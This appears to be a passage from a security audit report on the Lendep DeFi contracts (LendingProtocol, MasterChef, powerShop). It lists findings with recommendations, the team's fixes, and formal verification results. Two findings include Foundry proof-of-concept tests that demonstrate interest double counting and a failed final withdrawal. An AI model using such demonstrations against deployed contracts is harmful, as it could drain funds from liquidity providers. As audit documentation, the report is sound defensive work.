The `LendingProtocol::_updateLPInterest` and `LendingProtocol::getCurrentAccInterestPerLP` functions double count interest when calculating the interest to be distributed to liquidity providers. The functions use `getCurrentAccInterestPerDebt()` which already includes accrued interest, and then apply an additional interest calculation on top of that, effectively counting the same interest twice. This leads to an overstatement of the interest earned by LPs.

```
627 uint256 currentTotalDebt = (totalDebtShares *
628     getCurrentAccInterestPerDebt()) / 1e18;
629 uint256 interestRate = (apr * 1e18 * timeElapsed) /
630     (PRECISION * SECONDS_PER_YEAR);
631 uint256 interestAmount = (currentTotalDebt * interestRate) / 1e18;
```

The problem is that `getCurrentAccInterestPerDebt` already includes all the accrued interest up to the current time:

```
559 function getCurrentAccInterestPerDebt() public view returns (uint256) {
560     uint256 currentAccInterestPerDebt = accInterestPerDebt;
561     uint256 timeElapsed = block.timestamp - lastUpdateTime;
562     if (timeElapsed > 0) {
563         uint256 interestRate = (apr * 1e18 * timeElapsed) /
564             (PRECISION * SECONDS_PER_YEAR);
565         currentAccInterestPerDebt =
566             (currentAccInterestPerDebt * (1e18 + interestRate)) /
567             1e18;
568     }
569     return currentAccInterestPerDebt;
570 }
```

When `currentTotalDebt` is calculated as `(totalDebtShares * getCurrentAccInterestPerDebt()) / 1e18`, it represents the total debt including all previously accrued interest.

However, the LP interest then calculates additional interest on this amount:

```
uint256 interestAmount = (currentTotalDebt * interestRate) / 1e18;
```

This mechanism involves compounding the LP interest based on the accrued debt interest. The resulting total interest paid by the borrower is less than the total interest earned by the LPs. This shortfall, combined with the protocol's lack of liquidity reservation, could lead to protocol insolvency.

Proof of Concept

In a scenario where a pool has only one borrower and one lender, the interest paid by the borrower is insufficient to cover the total interest yielded to the liquidity provider (after fixing LEN-03, LEN-05):

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import "forge-std/Test.sol";
import "../contracts/LendingProtocol.sol";
import {MockERC20} from "./MockERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

contract LendingProtocolTest is Test {
    using SafeERC20 for IERC20;

    LendingProtocol public lendingProtocol;
    MockERC20 public usdt;
    MockERC20 public collateralToken;

    address public owner = makeAddr("owner");
    address public operator = makeAddr("operator");
    address public user1 = makeAddr("user1");
    address public user2 = makeAddr("user2");
    address public liquidator = makeAddr("liquidator");

    uint256 public constant USDT_PRECISION = 1e6;
    uint256 public constant COLLATERAL_PRECISION = 1e18;
    uint256 public constant INITIAL_COLLATERAL_PRICE = 100e6; // 100 USDT per
collateral token

    function setUp() public {
        vm.startPrank(owner);

        usdt = new MockERC20("USDT", "USDT", 6);
        collateralToken = new MockERC20("Collateral", "COLL", 18);
        lendingProtocol = new LendingProtocol(
            address(usdt),
            USDT_PRECISION,
            address(collateralToken),
            INITIAL_COLLATERAL_PRICE
        );
        lendingProtocol.setOperator(operator);

        // Mint tokens for users
        usdt.mint(user1, 1000000 * USDT_PRECISION);
        usdt.mint(user2, 1000000 * USDT_PRECISION);
        usdt.mint(liquidator, 1000000 * USDT_PRECISION);

        collateralToken.mint(user1, 1000000 * COLLATERAL_PRECISION);
        collateralToken.mint(user2, 1000000 * COLLATERAL_PRECISION);
        collateralToken.mint(liquidator, 1000000 * COLLATERAL_PRECISION);
```

```
        // Approve tokens for the lending protocol
        vm.stopPrank();

        vm.startPrank(user1);
        usdt.approve(address(lendingProtocol), type(uint256).max);
        collateralToken.approve(address(lendingProtocol), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(user2);
        usdt.approve(address(lendingProtocol), type(uint256).max);
        collateralToken.approve(address(lendingProtocol), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(liquidator);
        usdt.approve(address(lendingProtocol), type(uint256).max);
        collateralToken.approve(address(lendingProtocol), type(uint256).max);
        vm.stopPrank();
    }

    function testDebtInterestCoverLpProfit() public {
        // First deposit collateral
        vm.prank(user1);
        uint256 coll= 1000 * COLLATERAL_PRECISION;
        lendingProtocol.deposit(coll);

        // Deposit USDT to LP pool
        vm.prank(user2);
        uint256 lpDepositAmount = 10000 * USDT_PRECISION;
        lendingProtocol.depositUSDT(lpDepositAmount);

        // Now borrow
        vm.prank(user1);
        uint256 borrowAmount = 1000 * USDT_PRECISION;
        lendingProtocol.borrow(borrowAmount);
        assertEq(usdt.balanceOf(user1), 1000000 * USDT_PRECISION + borrowAmount);

        // Check user position
        (
            uint256 collateralAmount,
            uint256 debtShares,
            uint256 originalDebtPrincipal,

        ) = lendingProtocol.userPositions(user1);

        assertTrue(debtShares > 0);
        assertEq(originalDebtPrincipal, borrowAmount);

        uint256 debtBefore = lendingProtocol.getCurrentDebt(user1);
        skip(30 days);
```

```
        uint256 debtInterest = lendingProtocol.getCurrentDebt(user1) - debtBefore;
        uint256 lpProfit = lendingProtocol.getUserLPValue(user2) - lpDepositAmount;
        console.log("LP profit: ", lpProfit);
        console.log("debt interest: ", debtInterest);
        assertEq(lpProfit, debtInterest); // [Revert] assertion failed: 4126477 !=
4109590
    }
}
```

Recommendation

Consider revisiting the design of LP interest calculation.

Alleviation

[Lendep, 10/28/2025]: The team resolved the issue by deleting the `LendingProtocol` contract and opting to use Compound V2 instead in commit 14c5bc92d9dbb0f6ff4e03f7a189fcb36c619f8f.

LEN-12 | Creator Can Permanently Brick A Pool

Category	Severity	Location	Status
Logical Issue	Major	MasterChef.sol: 846	Resolved

Description

If `createPoolPublic` is true, anyone can create a pool.

The `transferPool()` function allows setting `pools[poolId].creator` to any address without validation. A malicious pool creator can set `newCreator` to address(0) irreversibly removes the ability for any real account to satisfy future `creator` checks for that pool. This creates a permanent denial-of-service for any creator-gated operations (`require(pools[poolId].creator != address(0),...)`) tied to that pool (e.g., `joinPool`, `deposit`, `withdraw` and `emergencyWithdraw`), and can block user funds.

Recommendation

It is recommended to add non-zero address check for the `transferPool()` function.

Alleviation

[Lendep, 10/28/2025]: The team resolved the issue by removing the `transferPool()` function in commit 14c5bc92d9dbb0f6ff4e03f7a189fcb36c619f8f.

LEN-26 Double Subtraction Of Invitation Rewards Reduces User's Earnings

Category	Severity	Location	Status
Logical Issue	Major	MasterChef.sol (v2): 1062, 1093	Resolved

Description

The `_processUserRewardAndFee` function is responsible for calculating and distributing both the user's mining rewards and the portion of those rewards that goes to their inviter.

The logic flaw occurs in these steps:

1. At line 1062, the variable `toUser` (which tracks the reward to be paid to the user) is initialized by subtracting `baseInviteReward` (the maximum possible reward for the inviter) from the total `pending` reward:

```
1062  uint256 toUser = pending - baseInviteReward;
```

2. The function then calculates `finalInviteReward`, which is the actual amount the inviter will receive. This can be equal to or less than `baseInviteReward`.
3. At line 1093, this `finalInviteReward` is again subtracted from `toUser`:

```
1093  toUser = toUser - finalInviteReward;
```

Because `toUser` was already reduced by `baseInviteReward`, subtracting `finalInviteReward` as well constitutes a double deduction. This results in users receiving less reward than they should.

Recommendation

The initial subtraction of `baseInviteReward` is incorrect. The `toUser` variable should be initialized to the full `pending` amount, and then the various reward deductions should be made from there.

```
- uint256 toUser = pending - baseInviteReward;
+ uint256 toUser = pending;
```

Alleviation

[Lendep, 10/31/2025]: The team heeded the advice and resolved the issue by fixing the user reward calculation logic in commit 7bde416c1774777bd3c315871928d48cb9f06f57

LEN-10 | Missing Stale Price Check

Category	Severity	Location	Status
Logical Issue	Medium	LendingProtocol.sol: 508	Resolved

Description

The `LendingProtocol::getCollateralValue` function calculates collateral value based on the stored `collateralPrice` without checking if the price is stale. This allows critical operations like borrowing, repaying, and liquidating positions to use outdated price data, which can lead to incorrect risk assessments and potential financial losses for both users and the protocol.

Recommendation

It is recommended to add a price staleness check to the `getCollateralValue` function, using the `lastPriceUpdateTime` variable for reference.

Alleviation

[Lendep, 10/28/2025]: The team resolved the issue by deleting the `LendingProtocol` contract and opting to use Compound V2 instead in commit 14c5bc92d9dbb0f6ff4e03f7a189fcb36c619f8f.

LEN-11 | Missing Bad Debt Handling Logic

Category	Severity	Location	Status
Logical Issue	Medium	LendingProtocol.sol: 319	Resolved

Description

The `LendingProtocol` contract lacks a mechanism to handle bad debt when user positions become under collateralized due to sharp price drops. While the `liquidate` function allows partial liquidation of bad debt positions, there is no process to write off remaining uncollectible debt. This causes last LP providers to cover all bad debt when withdrawing funds.

When a user's position becomes under collateralized, liquidators can only recover a portion of the debt through partial liquidation. In the `liquidate` function, liquidators repay a portion of the user's debt. The protocol continues to track the full debt amount in `totalDebtShares` and individual user positions, even when it's clear that portions of this debt will never be recovered.

Subsequently, because the interest calculation is based on an inflated `totalDebtShares` value, it generates a larger than expected `accInterestPerLP` for liquidity providers. However, the last set of liquidity providers will be unable to withdraw their funds because the lending pool has an insufficient USDT balance.

Recommendation

It is recommended to update `liquidate` to handle potential bad debts.

1. The position's `debtShares` should be subtracted from `totalDebtShares` .
2. All liquidity providers should cover the remaining bad debts.

Alleviation

[Lendep, 10/28/2025]: The team resolved the issue by deleting the `LendingProtocol` contract and opting to use Compound V2 instead in commit 14c5bc92d9dbb0f6ff4e03f7a189fcb36c619f8f.

LEN-13 | LP Interest Accrues For Periods With Zero Debt

Category	Severity	Location	Status
Logical Issue	Medium	LendingProtocol.sol: 624	Resolved

Description

`_updateLPInterest()` only advances `lastLPUpdateTime` and updates `accInterestPerLP` when `(timeElapsed > 0 && totalDebtShares > 0)`. If `totalDebtShares == 0` for a long time, `lastLPUpdateTime` is not updated and remains stale.

When `totalDebtShares` later becomes > 0, `_updateLPInterest()` uses timeElapsed = now − lastLPUpdateTime (which spans the entire “no-debt” period) and charges LP interest for that whole span. The `interestAmount` is calculated from the current debt (`currentTotalDebt`) multiplied by `interestRate` for the full timeElapsed, even though the debt only existed for a short moment. This over-accrues LP interest for periods when there was no debt at all.

`withdrawUSDT` then uses that inflated `accInterestPerLP` to compute usdtAmount and transfers it from totalLPUSDT, effectively paying LPs interest that was never earned from borrowers.

Recommendation

It is recommended to update the `lastLPUpdateTime` when `timeElapsed > 0`.

Alleviation

[Lendep, 10/28/2025]: The team resolved the issue by deleting the `LendingProtocol` contract and opting to use Compound V2 instead in commit 14c5bc92d9dbb0f6ff4e03f7a189fcb36c619f8f.

LEN-14 | Insufficient Balance Preservation In PowerShop

Category	Severity	Location	Status
Logical Issue	Medium	powerShop.sol: 961	Resolved

Description

The `powerShop` contract facilitates token exchanges where users deposit payment tokens (like USDT) to receive PowerTokens. To ensure users can withdraw their payment tokens, the contract should preserve 100% of the required balance. However, the `withdrawPayToken()` function only preserves 997/1000 (99.7%) of the required balance:

```
964  uint256 totalRefundBalance = (((swapTokenInfo.totalPower *
965      swapTokenInfo.tokenDecimals) / swapTokenInfo.powerPerPrice) * 997) /
966      1000;
```

Insufficient preservation results in users may be unable to withdraw the full amount of their payment tokens.

Proof of Concept

The last user cannot `withdrawPower` (after fixing LEN-07):

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../lib/forge-std/src/Test.sol";
import "../contracts/powerShop.sol";
import {MockERC20} from "./MockERC20.sol";

contract PowerShopTest is Test {
    PowerToken public powerToken;
    powerShop public shop;
    MockERC20 public usdt;

    address public owner = address(this);
    address public user1 = makeAddr("user1");
    address public user2 = makeAddr("user2");
    address public receiver = makeAddr("receiver");

    uint256 public constant INITIAL_PRICE = 1000; // 0.1 power per token
    uint256 public constant EXCHANGE_RATE = 100; // 1:100 ratio
    uint256 public constant PRICE_DENOMINATOR = 10000e18;

    function setUp() public {
        powerToken = new PowerToken();
        shop = new powerShop(address(powerToken));
        usdt = new MockERC20("Tether USD", "USDT", 6); // USDT has 6 decimals

        usdt.mint(user1, 1000000 * 10**6);
        usdt.mint(user2, 1000000 * 10**6);

        powerToken.setOperator(address(shop));
        shop.setReceiverAddress(receiver);
        shop.setSwapToken(
            address(usdt),
            INITIAL_PRICE,
            EXCHANGE_RATE,
            block.timestamp
        );
    }

    function testSequentialDepositsAndWithdrawals() public {
        uint256 user1Deposit = 1000 * 10**6;
        uint256 user2Deposit = 2000 * 10**6;

        // User1 deposits 1000 USDT
        vm.startPrank(user1);
        usdt.approve(address(shop), user1Deposit);
        shop.deposit(user1Deposit, address(usdt));
        vm.stopPrank();
```

```
        uint256 user1Power = shop.swapTokenAmount(user1, address(usdt));

        vm.warp(block.timestamp + 10 days);

        // User2 deposits 2000 USDT
        vm.startPrank(user2);
        usdt.approve(address(shop), user2Deposit);
        shop.deposit(user2Deposit, address(usdt));
        vm.stopPrank();

        uint256 user2Power = shop.swapTokenAmount(user2, address(usdt));

        // Owner withdraws profits
        shop.withdrawPayToken(address(usdt));

        // Users withdraw their power tokens
        vm.startPrank(user1);
        powerToken.approve(address(shop), user1Power);
        shop.withdrawPower(user1Power, address(usdt));
        vm.stopPrank();

        vm.startPrank(user2);
        powerToken.approve(address(shop), user2Power);
        shop.withdrawPower(user2Power, address(usdt)); // <-- Issue: [Revert]
ERC20InsufficientBalance
        vm.stopPrank();
    }
}
```

Recommendation

It is recommended to change the preservation ratio from 997/1000 to 100%.

```
        uint256 totalRefundBalance = swapTokenInfo.totalPower *
            swapTokenInfo.tokenDecimals * PRICE_DENOMINATOR /
(swapTokenInfo.exchangeRate * swapTokenInfo.powerPerPrice);
```

Alleviation

[Lendep, 10/28/2025]: The team resolved the issue by choosing not to use the `powerShop` contract and deleting it in commit 14c5bc92d9dbb0f6ff4e03f7a189fcb36c619f8f.

LEN-15 | Get LP Value Returns Wrong Decimals

Category	Severity	Location	Status
Incorrect Calculation	Minor	LendingProtocol.sol: 696, 733	Resolved

Description

The `LendingProtocol::getLPValue` and `getUserLPValue` functions incorrectly calculates the USDT value of LP tokens by not normalizing the result to USDT precision. The function returns a value with 18 decimals instead of the expected USDT precision (e.g., 6 decimals), causing incorrect valuations of LP tokens.

```
696 function getLPValue(uint256 lpAmount) external view returns (uint256) {
697     uint256 currentAccInterestPerLP = getCurrentAccInterestPerLP();
698     return (lpAmount * currentAccInterestPerLP) / 1e18;
699 }
```

The issue is with the decimal handling in this calculation:

1. `lpAmount` has 18 decimals
2. `currentAccInterestPerLP` has 18 decimals (as seen in the `getCurrentAccInterestPerLP` function)
3. The result of `(lpAmount * currentAccInterestPerLP) / 1e18` also has 18 decimals

However, the function is documented to return USDT value, which should have the same precision as USDT (typically 6 decimals as stored in `usdtPrecision`).

Recommendation

It is recommended to fix the `getLPValue` and `getUserLPValue` functions to correctly normalize the result to USDT precision. For example:

```
uint256 currentAccInterestPerLP = getCurrentAccInterestPerLP();
uint256 lpValue18 = (lpAmount * currentAccInterestPerLP) / 1e18;
return lpValue18 / (1e18 / usdtPrecision);
```

Alleviation

[Lendep, 10/28/2025]: The team resolved the issue by deleting the `LendingProtocol` contract in commit 14c5bc92d9dbb0f6ff4e03f7a189fcb36c619f8f.

LEN-16 | Incorrect Self Invitation Check

Category	Severity	Location	Status
Logical Issue	Minor	MasterChef.sol: 864	Resolved

Description

The `MasterChef::bindInviter` function attempts to prevent users from setting themselves as inviters but uses an incorrect check that always passes:

```
864  require(inviter[_inviter] != msg.sender, "Inviter cannot be self");
```

Recommendation

Fix the validation check to properly prevent users from setting themselves as inviters:

```
    require(_inviter != msg.sender, "Cannot invite yourself");
```

Alleviation

[Lendep, 10/28/2025]: The team resolved the issue in commit 14c5bc92d9dbb0f6ff4e03f7a189fcb36c619f8f.

LEN-17 | Halving Not Applied When Update Pools

Category	Severity	Location	Status
Logical Issue	Minor	MasterChef.sol: 689, 740, 790	Acknowledged

Description

The `Halving()` function updates `BlockRewards` which is used to calculate `currentRewardPerSecond()`. However, functions `updatePool()` and `updatePoolReward()` depend on `currentRewardPerSecond()` but does not call `Halving()` to ensure the reward rate is updated according to the halving schedule. This potentially causes rewards to be distributed at incorrect rates, leading to overpayment of rewards to users.

Recommendation

Consider calling `Halving()` in `updatePool()` and `updatePoolReward()` before calculating rewards.

Alleviation

[Lendep, 10/31/2025]: Issue acknowledged. I won't make any changes for the current version.

LEN-18 | Potential Underflow In `currentRewardPerInterval` Function

Category	Severity	Location	Status
Logical Issue	Minor	MasterChef.sol: 694	Resolved

Description

The `MasterChef::currentRewardPerInterval` function performs an unchecked subtraction `block.timestamp - startTime` which will cause an underflow if `startTime` is in the future.

Recommendation

Add a check to handle the case when `block.timestamp < startTime`:

```
    if (block.timestamp < startTime) {
        return 0;
    }
```

Alleviation

[Lendep, 11/03/2025]: The team heeded the advice and resolved the issue in commit 66b5045eb3c45ed2eb11aa4316cd62c0e1a92a3e

LEN-20 | `getLPAPY()` Calculates Incorrect LP Return Rate

Category	Severity	Location	Status
Incorrect Calculation	Minor	LendingProtocol.sol: 742	Resolved

Description

The `getLPAPY()` doesn't annualize the yield as the function name suggests. The function should account for the time elapsed since deposits to properly annualize the returns. Without this, it's calculating a total return percentage rather than an annualized yield.

Since a portion of the USDT is transferred to the borrowers, the `totalLPUSDT` variable does not account for the borrowed USDT. Consequently, the calculated `profit` figure fails to accurately reflect the total profits earned by the liquidity providers.

```
759  uint256 profit = totalLPValueUSDT - totalLPUSDT;
```

Recommendation

Consider removing the `getLPAPY()` function and using the `apr()` instead.

Alleviation

[Lendep, 10/28/2025]: The team resolved the issue by deleting the `LendingProtocol` contract in commit 14c5bc92d9dbb0f6ff4e03f7a189fcb36c619f8f.

LEN-23 | Health Factor Is Scaled Twice

Category	Severity	Location	Status
Incorrect Calculation	Minor	LendingProtocol.sol: 388	Resolved

Description

In the `getHealthFactor()` function, the calculation is:

```
388  return (collateralValue * liquidationThreshold * 10000) / debtValue;
```

This calculation applies the `PRECISION` factor twice:

1. Once through `liquidationThreshold` (which is already scaled by 10000)
2. Again through the explicit `10000` multiplier

Recommendation

It is recommended to remove the extra `10000` multiplier from the `getHealthFactor()` calculation.

```
return (collateralValue * liquidationThreshold) / debtValue;
```

Alleviation

[Lendep, 10/28/2025]: The team resolved the issue by deleting the `LendingProtocol` contract in commit 14c5bc92d9dbb0f6ff4e03f7a189fcb36c619f8f.

LEN-01 Incomplete Collateral Liquidation Allows User To Withdraw Remaining Collateral

Category	Severity	Location	Status
Design Issue	Informational	LendingProtocol.sol: 319	Resolved

Description

The `LendingProtocol::liquidate()` function only transfers the debt value plus liquidation bonus to the liquidator, leaving the remaining collateral in the liquidated user's position. This allows the owner of a liquidated position to still withdraw the remaining collateral through the `withdraw()` function, which undermines the purpose of liquidation.

Recommendation

Consider revisiting the protocol design.

Alleviation

[Lendep, 10/28/2025]: The team resolved the issue by deleting the `LendingProtocol` contract in commit 14c5bc92d9dbb0f6ff4e03f7a189fcb36c619f8f.

LEN-02 | Long `HALVING_INTERVAL`

Category	Severity	Location	Status
Design Issue	Informational	MasterChef.sol: 610	Acknowledged

Description

The rewards distributed per second are reduced by half (50%) with every occurrence of the `HALVING_INTERVAL`:

```
 610
uint256 public constant HALVING_INTERVAL = 210000 * 600; // 2100000分钟=126000000秒
```

`HALVING_INTERVAL` is 2,100,000 minutes, ~1,458 days.

Recommendation

We would like to confirm whether the value currently set for `HALVING_INTERVAL` is appropriate for the overall protocol design and, if necessary, adjust it to meet the protocol's requirements.

Alleviation

[Lendep, 10/31/2025]: Issue acknowledged. I won't make any changes for the current version.

LEN-19 | Incompatibility With Fee-On-Transfer Tokens

Category	Severity	Location	Status
Design Issue	Informational	LendingProtocol.sol: 182; powerShop.sol: 905	Resolved

Description

The protocol integrates with external ERC20 tokens for collateral (`collateralToken`). Several functions, including `deposit` , `repay` , and `liquidate` , accept token deposits from users. These functions operate under the assumption that the amount of tokens specified in the function call is the exact amount that the contract will receive.

This assumption is invalid for fee-on-transfer tokens, a type of ERC20 token that deducts a fee from the amount during the `transfer` or `transferFrom` operation. When such a token is used, the recipient contract receives an amount less than what was specified.

The `deposit` function, for example, credits the user's collateral balance (`collateralAmount`) with the full `amount` passed as an argument, rather than the actual amount of tokens the contract receives after the fee is deducted. This creates a discrepancy where the protocol's internal accounting of collateral is higher than its actual token holdings.

The same issue exists in `powerShop` .

Recommendation

The protocol should disallow fee-on-transfer tokens.

Alleviation

[Lendep, 10/28/2025]: The team resolved the issue by choosing not to use these contracts and deleting them in commit 14c5bc92d9dbb0f6ff4e03f7a189fcb36c619f8f.

LEN-21 | Missing Validation In `emergencyWithdraw`

Category	Severity	Location	Status
Inconsistency	Informational	MasterChef.sol: 972	Resolved

Description

The `MasterChef::emergencyWithdraw()` function lacks a validation check to ensure that the caller has staked tokens. This allows any user to call the function even when they have not staked anything, causing misleading `EmergencyWithdraw` events to be emitted with zero amounts.

Recommendation

Add a validation check at the beginning of the `emergencyWithdraw()` function to ensure that the caller has staked tokens:

```
function emergencyWithdraw() public {
    UserInfo storage user = userInfo[msg.sender];
    require(user.amount > 0, "No staked tokens to withdraw");

    // ...
}
```

Alleviation

[Lendep, 10/28/2025]: The team resolved the issue in commit 14c5bc92d9dbb0f6ff4e03f7a189fcb36c619f8f.

LEN-22 | Redundant `updatePoolAllocPointManually()`

Category	Severity	Location	Status
Coding Style	Informational	MasterChef.sol: 1153	Resolved

Description

The `MasterChef::updatePoolAllocPoint()` function is publicly accessible without any access control, allowing any external user to modify pool allocation points. Additionally, the `updatePoolAllocPointManually()` function is redundant as it only calls `updatePoolAllocPoint()` without adding any additional logic.

Recommendation

Consider removing the `updatePoolAllocPointManually()` function.

Alleviation

[Lendep, 10/28/2025]: The team resolved the issue by removing the `updatePoolAllocPointManually()` function in commit 14c5bc92d9dbb0f6ff4e03f7a189fcb36c619f8f.

LEN-24 | Missing Error Messages

Category	Severity	Location	Status
Coding Style	Informational	MasterChef.sol: 897	Acknowledged

Description

The **require** can be used to check for conditions and throw an exception if the condition is not met. It is better to provide a string message containing details about the error that will be passed back to the caller.

Recommendation

We advise adding error messages to the linked **require** statements.

Alleviation

[Lendep, 10/29/2025]: The team acknowledged the issue and decided not to implement the recommended change in the current engagement.

LEN-29 | Typo

Category	Severity	Location	Status
Coding Style	Informational	MasterChef.sol (v2): 973	Resolved

Description

"ust" should be "Must":

```
require(userNode[msg.sender] >0 ,"ust join a pool to mine");
```

Recommendation

Consider fixing typos.

Alleviation

[Lendep, 10/31/2025]: The team heeded the advice and resolved the issue by fixing the message in commit 7bde416c1774777bd3c315871928d48cb9f06f57

FORMAL VERIFICATION | LENDEP

Formal guarantees about the behavior of smart contracts can be obtained by reasoning about properties relating to the entire contract (e.g. contract invariants) or to specific functions of the contract. Once such properties are proven to be valid, they guarantee that the contract behaves as specified by the property. As part of this audit, we applied formal verification to prove that important functions in the smart contracts adhere to their expected behaviors.

Considered Functions And Scope

In the following, we provide a description of the properties that have been used in this audit. They are grouped according to the type of contract they apply to.

Verification of ERC-20 Compliance

We verified properties of the public interface of those token contracts that implement the ERC-20 interface. This covers

- Functions `transfer` and `transferFrom` that are widely used for token transfers,
- functions `approve` and `allowance` that enable the owner of an account to delegate a certain subset of her tokens to another account (i.e. to grant an allowance), and
- the functions `balanceOf` and `totalSupply`, which are verified to correctly reflect the internal state of the contract.

The properties that were considered within the scope of this audit are as follows (note that overflow properties were excluded from the verification):

Property Name	Title
erc20-transfer-never-return-false	`transfer` Never Returns `false`
erc20-transferfrom-revert-zero-argument	`transferFrom` Fails for Transfers with Zero Address Arguments
erc20-transferfrom-fail-exceed-balance	`transferFrom` Fails if the Requested Amount Exceeds the Available Balance
erc20-transfer-exceed-balance	`transfer` Fails if Requested Amount Exceeds Available Balance
erc20-transferfrom-fail-exceed-allowance	`transferFrom` Fails if the Requested Amount Exceeds the Available Allowance
erc20-transfer-revert-zero	`transfer` Prevents Transfers to the Zero Address
erc20-totalsupply-change-state	`totalSupply` Does Not Change the Contract's State
erc20-transfer-correct-amount	`transfer` Transfers the Correct Amount in Transfers
erc20-transferfrom-correct-allowance	`transferFrom` Updated the Allowance Correctly

Property Name	Title
erc20-transferfrom-correct-amount	`transferFrom` Transfers the Correct Amount in Transfers
erc20-approve-never-return-false	`approve` Never Returns `false`
erc20-approve-false	If `approve` Returns `false`, the Contract's State Is Unchanged
erc20-approve-revert-zero	`approve` Prevents Approvals For the Zero Address
erc20-approve-succeed-normal	`approve` Succeeds for Valid Inputs
erc20-approve-correct-amount	`approve` Updates the Approval Mapping Correctly
erc20-allowance-change-state	`allowance` Does Not Change the Contract's State
erc20-balanceof-change-state	`balanceOf` Does Not Change the Contract's State
erc20-allowance-correct-value	`allowance` Returns Correct Value
erc20-totalsupply-succeed-always	`totalSupply` Always Succeeds
erc20-balanceof-succeed-always	`balanceOf` Always Succeeds
erc20-allowance-succeed-always	`allowance` Always Succeeds
erc20-transferfrom-never-return-false	`transferFrom` Never Returns `false`
erc20-transfer-false	If `transfer` Returns `false`, the Contract State Is Not Changed
erc20-totalsupply-correct-value	`totalSupply` Returns the Value of the Corresponding State Variable
erc20-balanceof-correct-value	`balanceOf` Returns the Correct Value
erc20-transferfrom-false	If `transferFrom` Returns `false`, the Contract's State Is Unchanged

Verification of Standard Ownable Properties

We verified *partial* properties of the public interfaces of those token contracts that implement the Ownable interface. This involves:

- function `owner` that returns the current owner,
- functions `renounceOwnership` that removes ownership,
- function `transferOwnership` that transfers the ownership to a new owner.

The properties that were considered within the scope of this audit are as follows:

Property Name	Title
ownable-renounce-ownership-is-permanent	Once Renounced, Ownership Cannot be Regained
ownable-renounceownership-correct	Ownership is Removed
ownable-owner-succeed-normal	`owner` Always Succeeds
ownable-transferownership-correct	Ownership is Transferred

Verification Results

For the following contracts, formal verification established that each of the properties that were in scope of this audit (see scope) are valid:

Detailed Results For Contract LendingProtocol (LendingProtocol.sol) In Commit 13e5340d28867de301518f1f179def209eb2e1a7

Verification of ERC-20 Compliance

Detailed Results for Function `transfer`

Property Name	Final Result	Remarks
erc20-transfer-never-return-false	True	
erc20-transfer-exceed-balance	True	
erc20-transfer-revert-zero	True	
erc20-transfer-correct-amount	True	
erc20-transfer-false	True	

Detailed Results for Function `transferFrom`

Property Name	Final Result	Remarks
erc20-transferfrom-revert-zero-argument	True	
erc20-transferfrom-fail-exceed-balance	True	
erc20-transferfrom-fail-exceed-allowance	True	
erc20-transferfrom-correct-allowance	True	
erc20-transferfrom-correct-amount	True	
erc20-transferfrom-never-return-false	True	
erc20-transferfrom-false	True	

Detailed Results for Function `totalSupply`

Property Name	Final Result	Remarks
erc20-totalsupply-change-state	True	
erc20-totalsupply-succeed-always	True	
erc20-totalsupply-correct-value	True	

Detailed Results for Function `approve`

Property Name	Final Result	Remarks
erc20-approve-never-return-false	True	
erc20-approve-false	True	
erc20-approve-revert-zero	True	
erc20-approve-succeed-normal	True	
erc20-approve-correct-amount	True	

Detailed Results for Function `allowance`

Property Name	Final Result	Remarks
erc20-allowance-change-state	True	
erc20-allowance-correct-value	True	
erc20-allowance-succeed-always	True	

Detailed Results for Function `balanceOf`

Property Name	Final Result	Remarks
erc20-balanceof-change-state	True	
erc20-balanceof-succeed-always	True	
erc20-balanceof-correct-value	True	

Detailed Results For Contract ERC20 (powerShop.sol) In Commit 13e5340d28867de301518f1f179def209eb2e1a7

Verification of ERC-20 Compliance

Detailed Results for Function `totalSupply`

Property Name	Final Result	Remarks
erc20-totalsupply-correct-value	True	
erc20-totalsupply-succeed-always	True	
erc20-totalsupply-change-state	True	

Detailed Results for Function `approve`

Property Name	Final Result	Remarks
erc20-approve-never-return-false	True	
erc20-approve-revert-zero	True	
erc20-approve-succeed-normal	True	
erc20-approve-correct-amount	True	
erc20-approve-false	True	

Detailed Results for Function `balanceOf`

Property Name	Final Result	Remarks
erc20-balanceof-succeed-always	True	
erc20-balanceof-correct-value	True	
erc20-balanceof-change-state	True	

Detailed Results for Function `allowance`

Property Name	Final Result	Remarks
erc20-allowance-succeed-always	True	
erc20-allowance-change-state	True	
erc20-allowance-correct-value	True	

Detailed Results for Function `transferFrom`

Property Name	Final Result	Remarks
erc20-transferfrom-never-return-false	True	
erc20-transferfrom-revert-zero-argument	True	
erc20-transferfrom-false	True	
erc20-transferfrom-fail-exceed-allowance	True	
erc20-transferfrom-fail-exceed-balance	True	
erc20-transferfrom-correct-amount	True	
erc20-transferfrom-correct-allowance	True	

Detailed Results for Function `transfer`

Property Name	Final Result	Remarks
erc20-transfer-never-return-false	True	
erc20-transfer-false	True	
erc20-transfer-exceed-balance	True	
erc20-transfer-revert-zero	True	
erc20-transfer-correct-amount	True	

Detailed Results For Contract PowerToken (powerShop.sol) In Commit 13e5340d28867de301518f1f179def209eb2e1a7

Verification of ERC-20 Compliance

Detailed Results for Function `approve`

Property Name	Final Result	Remarks
erc20-approve-false	True	
erc20-approve-never-return-false	True	
erc20-approve-succeed-normal	True	
erc20-approve-revert-zero	True	
erc20-approve-correct-amount	True	

Detailed Results for Function `transfer`

Property Name	Final Result	Remarks
erc20-transfer-never-return-false	True	
erc20-transfer-false	True	
erc20-transfer-revert-zero	True	
erc20-transfer-exceed-balance	True	
erc20-transfer-correct-amount	True	

Detailed Results for Function `allowance`

Property Name	Final Result	Remarks
erc20-allowance-succeed-always	True	
erc20-allowance-correct-value	True	
erc20-allowance-change-state	True	

Detailed Results for Function `balanceOf`

Property Name	Final Result	Remarks
erc20-balanceof-correct-value	True	
erc20-balanceof-succeed-always	True	
erc20-balanceof-change-state	True	

Detailed Results for Function `transferFrom`

Property Name	Final Result	Remarks
erc20-transferfrom-never-return-false	True	
erc20-transferfrom-false	True	
erc20-transferfrom-revert-zero-argument	True	
erc20-transferfrom-fail-exceed-balance	True	
erc20-transferfrom-fail-exceed-allowance	True	
erc20-transferfrom-correct-amount	True	
erc20-transferfrom-correct-allowance	True	

Detailed Results for Function `totalSupply`

Property Name	Final Result	Remarks
erc20-totalsupply-correct-value	True	
erc20-totalsupply-succeed-always	True	
erc20-totalsupply-change-state	True	

Detailed Results For Contract MasterChef (MasterChef.sol) In Commit 13e5340d28867de301518f1f179def209eb2e1a7

Verification of Standard Ownable Properties

